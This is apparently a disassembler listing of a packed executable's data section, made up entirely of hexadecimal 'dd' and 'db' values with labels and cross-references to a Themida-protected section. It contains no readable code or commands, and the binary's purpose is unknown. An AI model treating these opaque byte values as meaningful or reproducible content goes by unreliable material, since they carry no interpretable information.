		dd 0EA077068h, 0B9740987h, 90EBB834h, 13CA18CDh, 156C9F3Dh
		dd 75068832h, 0CBB7C553h, 742889B1h, 48FC1CDh, 9B668832h
		dd 25BCCE85h, 0ABA2925Ch, 27373A2Fh, 3289CF44h,	31ABC1BBh
		dd 9669249Eh, 1566113Eh, 0CC763052h, 0ACDE604Ah, 7457E50Ah
		dd 1561973Dh, 94698832h, 15664433h, 2CE3E4CBh, 5260BD01h
		dd 0E9910252h, 4CFF2C53h, 18FC0AAh, 9661132h, 5E2EEB6Eh
		dd 0CDF653FDh, 6B76D4B5h, 19090C68h, 0EA868BF5h, 0B974C587h
		dd 0E1E64234h, 78C7ABA4h, 9807C1D7h, 0B95CBBB7h, 0AF9E4234h
		dd 37C30C99h, 0EDB67753h, 9AEFC1BBh, 0D3932481h, 0B95528B7h
		dd 9E06CF34h, 78E15C8h,	0ED662232h, 1C07EB5Bh, 0CBB1DF76h
		dd 0C614138Bh, 768750FFh, 743D4A8Dh, 157D093Dh,	9A694432h
		dd 15662227h, 156601DBh, 0FB72932h, 3480B4DDh, 0C06085E6h
		dd 919FD368h, 75A4E0ECh, 1A06F5CFh, 156636BEh, 1569F832h
		dd 75798832h, 0B85CB7BCh, 471ABA15h, 4195C1B5h,	74C738DDh
		dd 17EA4B52h, 9F662232h, 0A09970D7h, 13CA9AB3h,	50A2C452h
		dd 3F1AE9B3h, 0FC0710BEh, 1566883Ah, 85AD9820h,	36B26F5Eh
		dd 2F9994BFh, 9B698E9Eh, 1566442Ah, 156631DBh, 0D1381732h
		dd 0F90CBDEEh, 0A6F3BC6Bh, 3F39DE20h, 57FCFC65h, 0A1910352h
		dd 0C59925C4h, 156625DBh, 33E04932h, 816B6FE0h,	9AEBC1BBh
		dd 94692481h, 15661133h, 2CE34EC7h, 5260E801h, 156628DBh
		dd 96FF4F32h, 0C7135D71h, 7DDC4866h, 0CAC0DC26h, 8FB09052h
		dd 73706EC9h, 0F8BD9AB3h, 1ED2D53h, 0FC661132h,	1566883Dh
		dd 422270Ah, 647BFE5Eh,	21C896F2h, 0EA170D86h, 0B974C587h
		dd 47934234h, 7438E9B9h, 2F990DBFh, 7306429Eh, 0E6E7F3B9h
		dd 79D43EDBh, 0ECB67753h, 9AF7C1BBh, 108F2481h,	45661132h
		dd 0D10E1261h, 265FC1F4h, 0ED39249Eh, 4594795Ah, 157561ACh
		dd 0ED1A4432h, 0D83AA46Ch, 3C6BAB47h, 2EC1A77Fh, 882B1338h
		dd 94D3DD3Bh, 7560BD20h, 73A50354h, 740D308Bh, 0EAE3AFCBh
		dd 0ED60BD08h, 916958CDh, 15664433h, 80E3ABCAh,	1A60A2BDh
		dd 15668FBCh, 14E54B32h, 0E9662232h, 265F94F4h,	75298E9Eh
		dd 0D6D94B52h, 7D07DE53h, 0D29A6A0Dh, 7406D952h, 0DAED2269h
		dd 94D3DD53h, 7560BD20h, 0DCD8EECAh, 90EB25D4h,	13CA18CDh
		dd 1AB6EECEh, 156680BEh, 17E84B32h, 75662232h, 0D4E39853h
		dd 75603BBDh, 0FC0625C7h, 1566223Bh, 0BC3337D1h, 10F3BAC4h
		dd 1574AD35h, 5D572232h, 5AC5B3CBh, 0D68CA593h,	3D1FE551h
		dd 5CC40DF0h, 2CE3D753h, 52602401h, 7B2A2CCAh, 1A9FD869h
		dd 15660FBDh, 0DE88732h, 0FC664432h, 15662221h,	8D51125Eh
		dd 2080F49Eh, 0CFAE58Eh, 0A5ACB6C5h, 0EA1B1F12h, 0B9740987h
		dd 156CAD34h, 3EB02232h, 5B904C22h, 0C2435960h,	2F99C1BFh
		dd 58F249Eh, 0F1661132h, 2F1BD07Dh, 28461125h, 1EB702ABh
		dd 0EAD0D80Bh, 14EC87E2h, 0EC664432h, 9AA3A7BBh, 73061781h
		dd 750778B9h, 0B7D3FA54h, 88B0A354h, 90A07093h,	13CABB0Bh
		dd 19EA4B75h, 1A662232h, 156617BDh, 15E18732h, 7D664432h
		dd 0D66006FFh, 1567913Dh, 0EA938832h, 0B974C587h, 90EBDE34h
		dd 13CA2BCDh, 15740A3Dh, 188F4432h, 73662232h, 6C63EED9h
		dd 0A616CCA6h, 1375A72Dh, 75B6DDCAh, 73989A54h,	752D63B3h
		dd 0DCE3CD53h, 756091BDh, 9B3DA861h, 943D9E6Fh,	37CB28F1h
		dd 90A04309h, 13CA220Bh, 156E616Dh, 9A9E4432h, 957821F7h
		dd 0D90EA0F1h, 75B23352h, 1564C03Dh, 0D1D72232h, 74A6A63Dh
		dd 7E73DCDh, 9669429Eh,	1566223Ah, 1564953Dh, 74068832h
		dd 2F99C1BFh, 58F249Eh,	0BD661132h, 84FE8A94h, 34880138h
		dd 0DB4008FEh, 0EA9CC243h, 1AE687E2h, 0FC664432h, 15662238h
		dd 6F3815F1h, 773F2EF3h, 90EFA4E9h, 13D5ADABh, 0A26971CEh
		dd 157460FCh, 0ED7B4432h, 275477ABh, 757E2C2Bh,	6DAC44F3h
		dd 0D539F688h, 4EBF953Dh, 2CE3D753h, 4A602401h,	41282CCAh
		dd 1C8FBCDBh, 2E661132h
		dd 4C2D2A63h, 2BDCA82Fh, 7E797CDh, 9893179Eh, 0B95C77B7h
		dd 13EE4B34h, 75662232h, 0C2EC7052h, 1AB67753h,	156645BBh
		dd 9C9AD732h, 0A6E98CB7h, 90A07034h, 13CA770Bh,	156ACB6Dh
		dd 77E31132h, 79531E7Dh, 36DBACF2h, 5D0E1790h, 1AB7021Ah
		dd 15668DB4h, 0F1E62432h, 0A099434Bh, 13CA03B3h, 15668DDBh
		dd 1BC7FA32h, 9B69E91Eh, 15661133h, 0EAE305CEh,	1A60E808h
		dd 156637B3h, 1576F832h, 2EBD8832h, 0E9298C2Ch,	0BAF18F58h
		dd 14BA26Ch, 0C5991B2Ch, 0B4E3CDCBh, 756091BDh,	4B36E2B3h
		dd 0E9D1E7FEh, 0FC622E53h, 15662238h, 52E91B11h, 10B2670Ch
		dd 150E7052h, 0E9662222h, 1576115Ah, 7F9E7432h,	0E3E72432h
		dd 1A4926CBh, 809970CBh, 13CA9483h, 0A4AECF52h,	90EF4330h
		dd 13CA0F7Fh, 15668FDBh, 5CB6932h, 97D3A0FDh, 68D994BFh
		dd 94068E81h, 429A27D2h, 0C599436Dh, 1567973Dh,	7F9E8832h
		dd 92692436h, 15662237h, 0FBAC9054h, 0F9C13161h, 7D075AA2h
		dd 15663232h, 356679CEh, 7F9A8832h, 8099B832h, 13CA3E83h
		dd 1561F852h, 97F08832h, 6AD061C4h, 6997A25Bh, 58E39853h
		dd 0FC60241Ah, 15664438h, 0BB705675h, 0A347E927h, 90EF8321h
		dd 13CA57B3h, 752648CAh, 1563933Dh, 0ADDD8832h,	0AB0FAD78h
		dd 6BBDDD24h, 5667953h,	18F8832h, 76664432h, 728FBF5Fh
		dd 0D8B06E4Fh, 7237AE65h, 0F32E5CA7h, 7DDA813Bh, 15671132h
		dd 15668FDBh, 35FC5F32h, 40D773FAh, 156619DBh, 94065032h
		dd 0A7C9BF16h, 75664810h, 74979A54h, 9D71DCDh, 7306429Eh
		dd 0FBE7DCB9h, 50562D89h, 0F4E30153h, 0E060E83Fh, 27EF97B9h
		dd 18F179Eh, 3B668832h,	0A6676FDFh, 0B2E14D6Ch,	1535FF1h
		dd 1D0814h, 0FCD55BB1h
dword_5C3168	dd 15662238h, 0AD220DE5h, 69DE734Dh, 88EDDE40h,	13CA0C6Fh
					; DATA XREF: Themida_:0055CD07o
		dd 17E11E52h, 0A2668832h, 0AA9C547h, 743611A6h,	0BDBA4BBh
		dd 9C9A8E9Eh, 0B94265AFh, 88EDDB34h, 13CA3F6Fh,	9AAE0952h
		dd 0AF6AB31Ah, 40D084D8h, 9455EE53h, 434AC36h, 403F545Eh
		dd 7977708Fh, 488F3822h, 87DCEE52h, 0ECE525FAh,	2AE22D32h
		dd 0FC66110Ah, 15668823h, 1394F747h, 0F9B08E78h, 0C72E1517h
		dd 0A7F3A9BBh, 0F5EF1492h, 15662637h, 118E9232h, 49428CB5h
		dd 1A4240BBh, 15662CBCh, 0CEE77132h, 676C8C6Fh,	1015B7B3h
		dd 4007196Ah, 0D0E7F4BBh, 15668836h, 1562A9B3h,	39E12232h
		dd 19EF4D16h, 14EA8716h, 0E0664432h, 9E004252h,	0D4D91EEAh
		dd 75A6B953h, 15664EDBh, 0A7CBA532h, 13A8241Ah,	0E9F7A52Ch
		dd 0CCE3CD53h, 1A608E28h, 156606B9h, 4E18732h, 0FC664432h
		dd 1566223Eh, 0BED83BA6h, 0FE130CBCh, 0AB241BD6h, 61284A67h
		dd 39ED5D5Ah, 11A20916h, 94664432h, 82EDCCF7h, 48889881h
		dd 156C0D3Dh, 9E064432h, 15E32DC1h, 74661132h, 58FA66B3h
		dd 0D3E7502Fh, 62682D49h, 35426531h, 1A1D66B3h,	0D3E7333Ch
		dd 17B6FAEh, 74064052h,	1560616Ah, 2C9C4432h, 9A0E2908h
		dd 75CB7753h, 3EBD0954h, 434B2547h, 162C9042h, 44463576h
		dd 0A7353E8Bh, 0F797C50Ch, 946D211Dh, 166A13C3h, 4CAE894Dh
		dd 1569CF3Dh, 1F8F2232h, 9A661132h, 0EB868EFAh,	0CC9DCA4Ah
		dd 6D16DD6Dh, 38BEAC67h, 79579E54h, 4B3B4016h, 38BED4B3h
		dd 68F0754h, 16668832h,	0B31EA23Bh, 9BBA45E0h, 734EAC05h
		dd 0AF127309h, 0FBE749C4h, 4D20180h, 35426531h,	25DF3765h
		dd 0E221188Bh, 3FA1A3EDh, 0D461692Fh, 0D2E78AD5h, 73DE35C0h
		dd 1A39DC33h, 156610B1h, 1F8F7D32h, 1B664432h, 0D15CDA5Ah
		dd 0F5ACF54Ah, 0DDDDB60h, 14664432h, 9E5DA9C1h,	0D1E5352Eh
		dd 15696136h, 2D144432h, 85FBE889h, 96BDB2BCh, 0AB65AD37h
		dd 20DBCDF0h, 0FC608E3Ch, 1566113Bh, 273FDEE2h,	0B768BB3Ch
		dd 0EAE3D7C0h, 1559943Dh, 1A068832h, 156655B4h,	156DCA32h
		dd 0A4B71132h, 7E7923E7h, 21293442h, 4DDF79D5h,	745D0733h
		dd 1539D8DAh, 1577AD32h, 0EEF2232h, 4863BA39h, 0F22211EBh
		dd 0B3C9AB6Dh, 0FCEB559Dh, 15661402h, 5342E0CAh, 19EF4432h
		dd 1568CB16h, 48BF1132h, 76FEF77h, 33EB8AF8h, 0EECB241Dh
		dd 9C9B9867h, 314A03D8h, 0FC6280B1h, 15662235h,	926E51DCh
		dd 1AEFC914h, 156645B0h, 0C70DD732h, 9F9E7136h,	9169E9D7h
		dd 1566443Bh, 739FA852h, 0DCCEC2B3h, 0F4F30153h, 7560E814h
		dd 1565A73Dh, 0E3E61132h, 15E98777h, 74664432h,	756248C7h
		dd 73AEA63Dh, 7D0757B9h, 15665432h, 157CAE3Dh, 1A061132h
		dd 156688B6h, 156BAD32h, 5CB12232h, 3D07DA29h, 5BFA8828h
		dd 74F8DF2Ah, 15141B5Ah, 31729832h, 0FC66E2C7h,	1566443Dh
		dd 0B1B6201Ch, 0B2AF49F9h, 92C39797h, 0EA5FBC8Fh, 0B97A93A7h
		dd 1E8E7134h, 0E7668832h, 0AF3D4FD9h, 0B6496B81h, 0ECED1E38h
		dd 0F196096Ch, 745158E0h, 1DB3A7BBh, 459F179Eh,	94429CB9h
		dd 156640F6h, 34DC4232h, 7357B707h, 0C3DD52B3h,	1EEF4B53h
		dd 0FC662232h, 15661134h, 5AE5CD83h, 19ED7DB3h,	0F2EF7516h
		dd 1562D6B3h, 0D2E58832h, 315AC336h, 38EDB6Eh, 0ED66116Ch
		dd 150BA95Ah, 3152CD32h, 58F4252h, 661132h, 0C95D89D1h
		dd 8662E230h, 54C4D555h, 733FF25Fh, 0ED0746B9h,	1B8FE953h
		dd 0BB662232h, 8C0C2124h, 0CFADD605h, 0BBB946A5h, 4DAE0F4Eh
		dd 5165648Fh, 0AE35AC16h, 60DB1CFAh, 0ED3DFA33h, 0D257E903h
		dd 0FC067003h, 1566443Ah, 86D17FB1h, 0E29E0A7Ah, 74A80354h
		dd 1562A8B3h, 29EF2232h, 1C8F4A16h, 9C668832h, 0EF9C8CF1h
		dd 66D19F26h, 1567135Ah, 315A0132h, 156649DBh, 0BE93CF32h
		dd 0D7D5D4CDh, 2307D9AAh, 0D556583Eh, 156631DBh, 0B62CA632h
		dd 13A48185h, 2AB369A8h, 991A90ABh, 0A6DFE33Eh,	1A9BFD9Ch
		dd 15665DBDh, 1572CB32h, 0A9D51132h, 903362B5h,	5D2F963Ah
		dd 0B252AD53h, 0CE9B7014h, 9A698467h, 1566443Ah, 1564A93Dh
		dd 74061132h, 156685DBh, 74343A32h, 142DE43h, 67DD5185h
		dd 21ED2E7Dh, 0F0EF1116h, 1562E7B3h, 0D0E71132h, 15668836h
		dd 494268B5h, 0B1A1A3CEh, 94628816h, 0D029BCF5h, 94B96D3Ah
		dd 0D02916DDh, 0B189903Ah, 1A621116h, 156650B3h, 1569CB32h
		dd 0C27E1132h, 4B52202Bh, 4AF4FB98h, 6944B3D2h,	0AA0071AEh
		dd 0E5E7D2E8h, 7E20A20Ch, 33104A53h, 1EF1132h, 1FE98716h
		dd 75664432h, 99694352h, 15661132h, 0EDEFD853h,	11ED86BBh
		dd 11A2A316h, 0FC661132h, 15668837h, 4D44113Bh,	0A8EDDEA4h
		dd 13CA0F7Fh, 157E093Dh, 68F4432h, 0B4662232h, 0BB483F9Ch
		dd 5EA60DEFh, 38F3AE75h, 20C0D724h, 0AC9EC84Eh,	0EA9977CDh
		dd 156656DBh, 9C471732h, 0A2780164h, 906A9D28h,	91D5436Bh
		dd 0E0EC34CAh, 449AD103h, 15663664h, 0E4EF4432h, 9F97236Ch
		dd 25934833h, 0AE3574FAh, 0EA99BBCDh, 753DFC1Bh, 135D2B3h
		dd 9F69D57Ch, 15664434h, 0CCDAECB3h, 0EA072120h, 0FC3E0F06h
		dd 15664423h, 5AADAB5Eh, 0D703AAEBh, 317916F8h,	0B1EC053Bh
		dd 1D8FE3B7h, 1AA720C7h, 15668FBDh, 14E34B32h, 0ED662232h
		dd 1A2C7052h, 0EA991FB7h, 1DEC4BCDh, 1A662232h,	156613BBh
		dd 9607E832h, 19EF40DEh, 1F8F7A16h, 661132h, 86D7EFCFh
		dd 0A31395B0h, 1561CB3Dh, 69011132h, 0B3D5E121h, 0E234D659h
		dd 873C0626h, 1576973Dh, 9B698832h, 15664438h, 156627DBh
		dd 0A0E4DE32h, 21991BB0h, 0D1E71E16h, 15662236h, 1567933Dh
		dd 45938832h, 7D4268B3h, 9A3A3F23h, 7D649030h, 753A9523h
		dd 1A3FBC64h, 156621BFh, 0C5D91E32h, 0AD00E853h, 9F064EF3h
		dd 1561CAD9h, 16551132h, 938C661Eh, 74071E12h, 160E7064h
		dd 4F29FF23h, 139342B3h, 0E7E773A5h, 6A9935C1h,	143CC7BBh
		dd 68FD6C0h, 0D8664432h, 808F897Dh, 9943B598h, 0F1B70BF5h
		dd 253CF7EFh, 9C3544DCh, 11A590D1h, 96668832h, 9E140D9h
		dd 1EF7E16h, 14EF1E16h,	0ED668832h, 0FBFC1CDh, 1E8F249Eh
		dd 17661132h, 73D521EAh, 82D83ABEh, 80ED31F4h, 13CA0BEBh
		dd 156681DBh, 4F229232h, 2C5917C9h, 805FB827h, 13CA8607h
		dd 15E5C03Dh, 18F2232h,	0F5661132h, 4FC0F823h, 0FF5F0E87h
		dd 4BA670A5h, 65FCDAACh, 0EA6A07FBh, 963C6006h,	946926F6h
		dd 1566113Ah, 15640B3Dh, 74064432h, 4B4216CDh, 1562D5B3h
		dd 90698832h, 15664433h, 10944AC7h, 1EF1132h, 15623216h
		dd 0C3674432h, 95694268h, 15661134h, 15660B3Dh,	18E4432h
		dd 0E5662232h, 0D7FB4D84h, 164FC3E0h, 7D8B6950h, 0ABEC21E3h
		dd 94818CB9h, 0F62B92D8h, 0FC071A65h, 0EA99DE76h, 31729ACEh
		dd 94800164h, 156640F4h, 11A0A332h, 92661132h, 0E93AAC06h
		dd 474270B9h, 0D7E7C0BBh, 15661136h, 92624AB1h,	1A3A6026h
		dd 15662EB9h, 1561F832h, 8A8E8832h, 0E85821EDh,	1574CB70h
		dd 9A51132h, 75F03802h,	379A83ADh, 1214218Bh, 0B59BB5F0h
		dd 1FEA8753h, 75664432h, 73959D3Dh, 66AACAB3h, 31527753h
		dd 11A2C76Bh, 3162A9C7h, 10869862h, 15668836h, 15664037h
		dd 3162A532h, 108E716Eh, 0E668832h, 461C0442h, 0DCE74468h
		dd 0D207AA56h, 0B947F9B7h, 15664434h, 1AE62D32h, 0FC661132h
		dd 15668838h, 65A02600h
		dd 2B82FE77h, 90A1075Ch, 13CA962Bh, 15664432h, 1CDBA1CEh
		dd 1560A2BDh, 15480C3Dh, 97694432h, 1566223Ah, 4D97752h
		dd 7407E8CFh, 0BEA2D9BFh, 0A6062480h, 0C5ED7798h, 75B57753h
		dd 1D8F1C60h, 99662232h, 9A2AAFD7h, 74DC9F5Bh, 9B7C1CDh
		dd 9E69249Eh, 1566113Ah, 0DDD8EE52h, 74ADCF6Fh,	9B79FB1h
		dd 1A02179Eh, 156422B0h, 14EB4B32h, 0E9662232h,	9B794F5h
		dd 15678E9Eh, 759A4432h, 1576CB52h, 5971132h, 70CC5451h
		dd 2CFBB9E9h, 4DD5B929h, 94008713h, 744D68C0h, 60ADC1BFh
		dd 0E0062481h, 1A072A81h, 156683B3h, 1560AD32h,	0B6252232h
		dd 477C738Ch, 759F58CDh, 15664BDAh, 71E09432h, 0D3CACB6Ch
		dd 485FBF98h, 1272F057h, 1566A53Dh, 42381132h
		db 64h
byte_5C3A41	db 0D6h, 3Eh		; DATA XREF: ___:off_437FB8o
byte_5C3A43	db 74h			; DATA XREF: ___:off_43A0E8o
dword_5C3A44	dd 9ABFF1BFh, 99692481h, 1566113Ch, 15E38752h, 1A664432h
					; DATA XREF: ___:off_43A0E0o
		dd 156622B2h, 0A8EB7032h
		db 72h,	91h, 0D2h
		db 13h
		dd 156FAD52h, 376D2232h, 0A5525BCCh, 7452E0D8h,	4D7BABB3h
		dd 0D2E77B66h, 46D20EE1h, 0FAE77F1Bh, 46D25BE1h, 4D7BE5B3h
		dd 78F4866h, 0D4668832h, 5FC7E625h, 0F7AC3C5Fh,	0A44E8FCFh
		dd 5AD442FCh, 0AC3713D4h, 7F041BE9h, 11425D33h,	0FFE7D26Bh
		dd 7F047DE9h, 9E07DE52h, 0B9785C8Fh, 0EADF7434h, 1A99BBCDh
		dd 15662ABDh, 99697132h, 15668832h, 156DAD53h, 0D7E72232h
		dd 8F3EB77Ch, 0E02A64FDh, 1AA675A6h, 156631BAh,	1568F832h
		dd 0B9E98832h, 8A80B297h, 653524FFh, 61F5121Ah,	15663260h
		dd 0E7674432h, 15669961h, 0C6671132h, 4F3D8BB8h, 15664CDBh
		dd 0C29B6732h, 361CA196h, 1AAEB8C3h, 15664AB9h,	156FCB32h
		dd 0C7E11132h, 3D08F06Ch, 42B17DD3h, 0E3F768Dh,	0BB899029h
		dd 0D4737268h, 0D2E740D5h, 2DF16A56h, 0D460FEF3h, 0D2E78ADDh
		dd 0EA131CFFh, 0E939DC1Bh, 1AE115B9h, 156682B8h, 74062432h
		dd 1566AA3Dh, 0D4071132h, 249E80DBh, 1C8F24F3h,	0DD662232h
		dd 0A6AEE327h, 0E0B47465h, 0A81A8688h, 0AD064345h, 0AA4B278h
		dd 0F7175FB3h, 5F07554Fh, 0EA21A73Dh, 4393EECDh, 943046BBh
		dd 2C4E601Eh, 103E4AD6h, 7D82281Ah, 9E00E86Ch, 0E2F725F5h
		dd 24AE13E3h, 1AAE20F3h, 15669CB9h, 1569AD32h, 4A412232h
		dd 0E76081Dh, 44774B12h, 0BB46540Ah, 94E31B0Dh,	1A60BD39h
		dd 15661AB6h, 1574AD32h, 7F202232h, 0D339996Dh,	0C83A7E99h
		dd 0F1FF7D89h, 4E5D24D7h, 0B60E4167h, 4D3C137Bh, 0D37A601Fh
		dd 20BED573h, 0F24CC3B3h, 9C3E4DBBh, 188F19DAh,	51662232h
		dd 0A3DC2556h, 3B3C6154h, 37AB4710h, 1AA629CEh,	156630B7h
		dd 90A17032h, 13CA740Bh, 15662233h, 156600DBh, 6994A932h
		dd 0A62B217Eh, 0A0EB7578h, 0B7F670D1h, 0AE35AD26h, 15571D88h
		dd 9EDFB33h, 11A29216h,	0DAD98752h, 15664DDAh, 56892132h
		dd 9DB06153h, 9E00BEAEh, 74071BFAh, 1567AA3Dh, 969A1132h
		dd 9EF8CDEh, 5AECFF16h,	0CCEF7964h, 0EE1E69h, 0FC668832h
		dd 15664422h, 85A79E67h, 0BB542870h, 0E2670F8Bh, 0DF727DBEh
		dd 0C4DF4452h, 0E7E777BEh, 4207BFA7h, 555A288Dh, 0DB89A327h
		dd 0D4688821h, 942980DDh, 473106F5h, 0E8EF771Fh, 4A3BFBBBh
		dd 156681DBh, 9B9C7032h, 9C8F4557h, 9A69979Ch, 1566883Fh
		dd 15664CDBh, 726CC932h, 9D6A9336h, 9C9F2550h, 0B978F987h
		dd 1CE22D34h, 75661132h, 0DE89EA8Ah, 74A4CF36h,	15726A5Ah
		dd 314A9832h, 1566888Fh, 0E908CD32h, 156BCB6Fh,	83461132h
		dd 83BCE0E2h, 0FE4637B8h, 28B4C513h, 0FB88FFDCh, 15BC0D3Dh
		dd 9B694432h, 15662238h, 156614DBh, 3124F532h, 94935A30h
		dd 0C8BBFF0Ch, 0A8E31EEFh, 75668832h, 1560C23Dh, 0CDE72232h
		dd 70916F02h, 1563073Dh, 94004432h, 7443A4F3h, 1B10AA61h
		dd 0AF34EFF1h, 684E143Bh, 4B1924F5h, 34FF5D9h, 4E78B968h
		dd 0EDD94B52h, 4407FBB9h, 1566158Bh, 0E3880932h, 14468524h
		dd 0E3A0A3FCh, 4C46D024h, 1573063Dh, 58F4432h, 29662232h
		dd 0AD203ADEh, 427C21D3h, 0F6AF0EFh, 9C98236Eh,	0B978AC87h
		dd 156F6134h, 2D044432h, 2BCC65B9h, 0FCCD4BE6h,	1566A308h
		dd 11E64B52h, 73662232h, 74E4D08Bh, 156B0B3Dh, 1D8F4432h
		dd 0D2662232h, 10F46CF2h, 0FCAD816Ch, 0EA99BAB5h, 1574A43Dh
		dd 188F1132h, 0FC668832h, 0CB341966h, 28E5313Ch, 85EF8h
		dd 156264B3h, 29EF4432h, 9CA1AB16h, 74064EC9h, 0C4EDEE52h
		dd 2CE37753h, 0E0608E02h, 1A65D9F3h, 156684BDh,	13E84B32h
		dd 1A662232h, 156611B6h, 1BEB8732h, 75664432h, 0DBA2F3B3h
		dd 0F2E708FBh, 26357A37h, 50336953h, 0C54F23E1h, 5033AE65h
		dd 0ED6789E1h, 0CAD7246Dh, 696AC4B3h, 0D4073A8Bh, 249398F2h
		dd 156CADFAh, 0AEB02232h, 0A7BCAD8Ah, 9F39140Dh, 255FD9BBh
		dd 289A249Eh, 15671132h, 174B0B3Dh, 0FD064432h,	15662237h
		dd 211AEBA0h, 4FB103A0h, 7495CF54h, 0AEDD1CB3h,	9069AA89h
		dd 15668A3Dh, 1567CA3Dh, 469F2232h, 15661189h, 0DA8D0932h
		dd 1405171Eh, 0DAA5A3C1h, 0D205421Eh, 15668831h, 949E1F32h
		dd 156626DEh, 31729832h, 15668C88h, 4FB04532h, 0A8D3ABCEh
		dd 7560BD2Ch, 2C900962h, 4C015D19h, 5186F5B3h, 9E0755A2h
		dd 0B948D5AFh, 96692434h, 15662237h, 0DDB89054h, 156C619Fh
		dd 393D4432h, 9DE0A0B4h, 663A9D9Eh, 1BE48753h, 0FC664432h
		dd 1566223Bh, 11FC66C4h, 0AEA0E725h, 15DE147Ah,	14662232h
		dd 9E6E9AEAh, 0D1E7AC36h, 15664436h, 1567AB3Dh,	7D931132h
		dd 1566F1DBh, 4F4240BBh, 1572CB52h, 0A8D31132h,	0BF1F8B1Ch
		dd 55967D42h, 28C220C8h, 44E2BB47h, 1A8FC507h, 27664432h
		dd 5B2ED283h, 3A754B9Eh, 0B9FD1EFFh, 1A076023h,	156635BEh
		dd 1574F832h, 20738832h, 795B811Bh, 1927113Ah, 3C509523h
		dd 0E0525D32h, 18E2452h, 0AA662232h, 0A29E4A83h, 0AF502FF6h
		dd 48062072h, 0FEDC4134h, 0FC21FF21h, 15668820h, 9E3E2906h
		dd 1EE3F415h, 0B12FD7DFh, 0BF86FA40h, 743E6173h, 156636DBh
		dd 0C6122332h, 8D9CFEBDh, 0F4724AEBh, 438256DFh, 9BD1B377h
		dd 11EDDAEAh, 11A2C716h, 0A8E309C7h, 0E060BD3Ch, 0EC6468F3h
		dd 1575AC52h, 0DCB72232h, 2D351F2Ch, 0C9AE4D80h, 0EBC9F32Bh
		dd 3029C7Fh, 0CAD11E6Ch, 16EF876Ah, 1A664432h, 1607EC8Dh
		dd 0B96F10B7h, 630E7034h, 9C66445Dh, 4D300636h,	156DF86Ch
		dd 0E2CC8832h, 8B5F625Dh, 423034BEh, 4606BC3Bh,	733FD060h
		dd 6919DB3h, 6DB40F53h,	0DD677498h, 6DB43361h, 0CD672198h
		dd 0E1EC4269h, 9BFC388Ch, 51EFE913h, 96695816h,	15662223h
		dd 15661DDBh, 0E2411A32h, 589A2CD0h, 0E6DDBD56h, 198E7163h
		dd 0C1668832h, 0A98BBD2Fh, 109CB78Bh, 75225904h, 0EFEDD253h
		dd 94062553h, 0DE918AF3h, 663AE62h, 0FC07A81Fh,	15664765h
		dd 44439052h, 0F8F9054h, 4007D360h, 0D0E7A1BBh,	15662236h
		dd 9262FCB1h, 9C3AAC1Eh, 9969603Eh, 15662221h, 0E9DC7752h
		dd 156E61C6h, 0E4114432h, 7092156h, 7D071BD2h, 15668514h
		dd 1A4250BBh, 15663BB4h, 1572F832h, 4DB58832h, 1A3450F3h
		dd 0CC14F75Ch, 0BD8F65B2h, 5EB5F816h, 249E8B5Ah, 1CE92DFBh
		dd 75661132h, 940040B9h, 7429E7F3h, 1DB3B7B9h, 9406179Eh
		dd 0CCE440C0h, 98DC2266h, 175D4365h, 15F7953Dh,	9F698832h
		dd 1566442Ah, 156BCA52h, 3CA51132h, 0F2500259h,	6EB5A4E3h
		dd 4C0343CCh, 74B9AE3Dh, 0B6DED865h, 0AA21ED22h, 0AD30CD53h
		dd 143ED633h, 9D69D7C8h, 15664433h, 14DC70CBh, 14661132h
		dd 9669D2E3h, 15664438h, 0D5E74452h, 0A2693EB9h, 985DE9EAh
		dd 13CA4A07h, 0EAFAA73Dh, 0AE06EECDh, 68E0E87Eh, 15664DDBh
		dd 35DE6D32h, 0C8FE2FB4h, 4207CD6Dh, 1566448Dh,	9E9EAB32h
		dd 0D1E5350Eh, 98EB7D36h, 13CA0A01h, 1564A93Dh,	74061132h
		dd 9C9A69CDh, 0B97C9DBFh, 1EDD734h, 0F4EF4016h,	156249B3h
		dd 0D4E74432h, 15662236h, 49421DB5h, 156680DBh,	2A9F9B32h
		dd 0C8D9396Fh, 2E91EDEh, 1A668832h, 156655B9h, 156ACB32h
		dd 27CE1132h, 0E4C6DF15h, 0CEDA83EDh, 19ED1FF8h, 0F7EF4316h
		dd 15624AB3h, 0D7E74432h, 15662236h, 494205B5h,	2BDFEE52h
		dd 156EACB1h, 0DC602232h, 216B9687h, 0AFDDB99Fh, 4D550186h
		dd 361D4A53h, 21EF1132h, 9400E816h, 74D59CE1h, 5386A252h
		dd 15661CDAh, 94851D32h
		dd 67DF1777h, 533B0207h, 0A2696538h, 9E07D3FBh,	0B94819AFh
		dd 1575CB34h, 9FA1132h,	0C0762E9h, 44036C70h, 0EB442916h
		dd 0FFD62578h, 9E55775Ah, 0D1E7603Eh, 15662236h, 15661CDBh
		dd 67299632h, 0A2D0A9C9h, 0C494D6F0h, 58F44F7h,	0E6668832h
		dd 0BF2C8873h, 0ACB51C51h, 67A2F5C0h, 9ED0E560h, 0B97C9DB7h
		dd 0DED2D34h, 0FC661132h, 15668821h, 0BDAD10DDh, 84FE2094h
		dd 34885438h, 0DB40A2FEh, 0C49C9743h, 4406DED2h, 156619DAh
		dd 348DA832h, 0B11896D5h, 0E03E789Bh, 48E31253h, 75602402h
		dd 1562C63Dh, 0AE002232h, 0A26986D9h, 2493E9FDh, 108F24C4h
		dd 9D662232h, 97566FF4h, 1577083Dh, 198F4432h, 0C5662232h
		dd 0B7B1AA31h, 0F20EBBD3h, 74A5E151h, 249613CBh, 759620F4h
		dd 950C64B2h, 7307BBFDh, 0F5A7DA9Fh, 1568F830h,	8F7F8832h
		dd 0E185F6E4h, 229A88AFh, 0AD83CFD9h, 1C670D31h, 9E69429Eh
		dd 15662233h, 198E71C7h, 4E668832h, 3DA11F24h, 19FEB542h
		dd 7322D70Ch, 4BACAE8Dh, 9E4FE54h, 24961353h, 1A9620F4h
		dd 156683B3h, 92692432h, 15662232h, 7490AE3Dh, 198FE89Fh
		dd 6A664432h, 0FA28BF02h, 0CAA64816h, 43EA8EEEh, 4EB8F33Dh
		dd 73DF7353h, 0D44D7923h, 0E4E78FD3h, 0C1758972h, 143FEA1Bh
		dd 6B2614FAh, 68FE829h,	70664432h, 0E3AB2D35h, 13A0F14Ch
		dd 3E6BD4F4h, 0F347CC53h, 9E9319B2h, 9C313506h,	11A109D5h
		dd 94664432h, 156626F5h, 315A9632h, 156F616Eh, 5EAF4432h
		dd 37BA90Ch, 96B271D7h,	0B97FAD8Fh, 91694534h, 156622C6h
		dd 156A9C3Dh, 93698832h, 15664434h, 1566A93Dh, 1A061132h
		dd 0E6ED5385h, 94EB7F53h, 1A608E20h, 1566DEB6h,	9269E832h
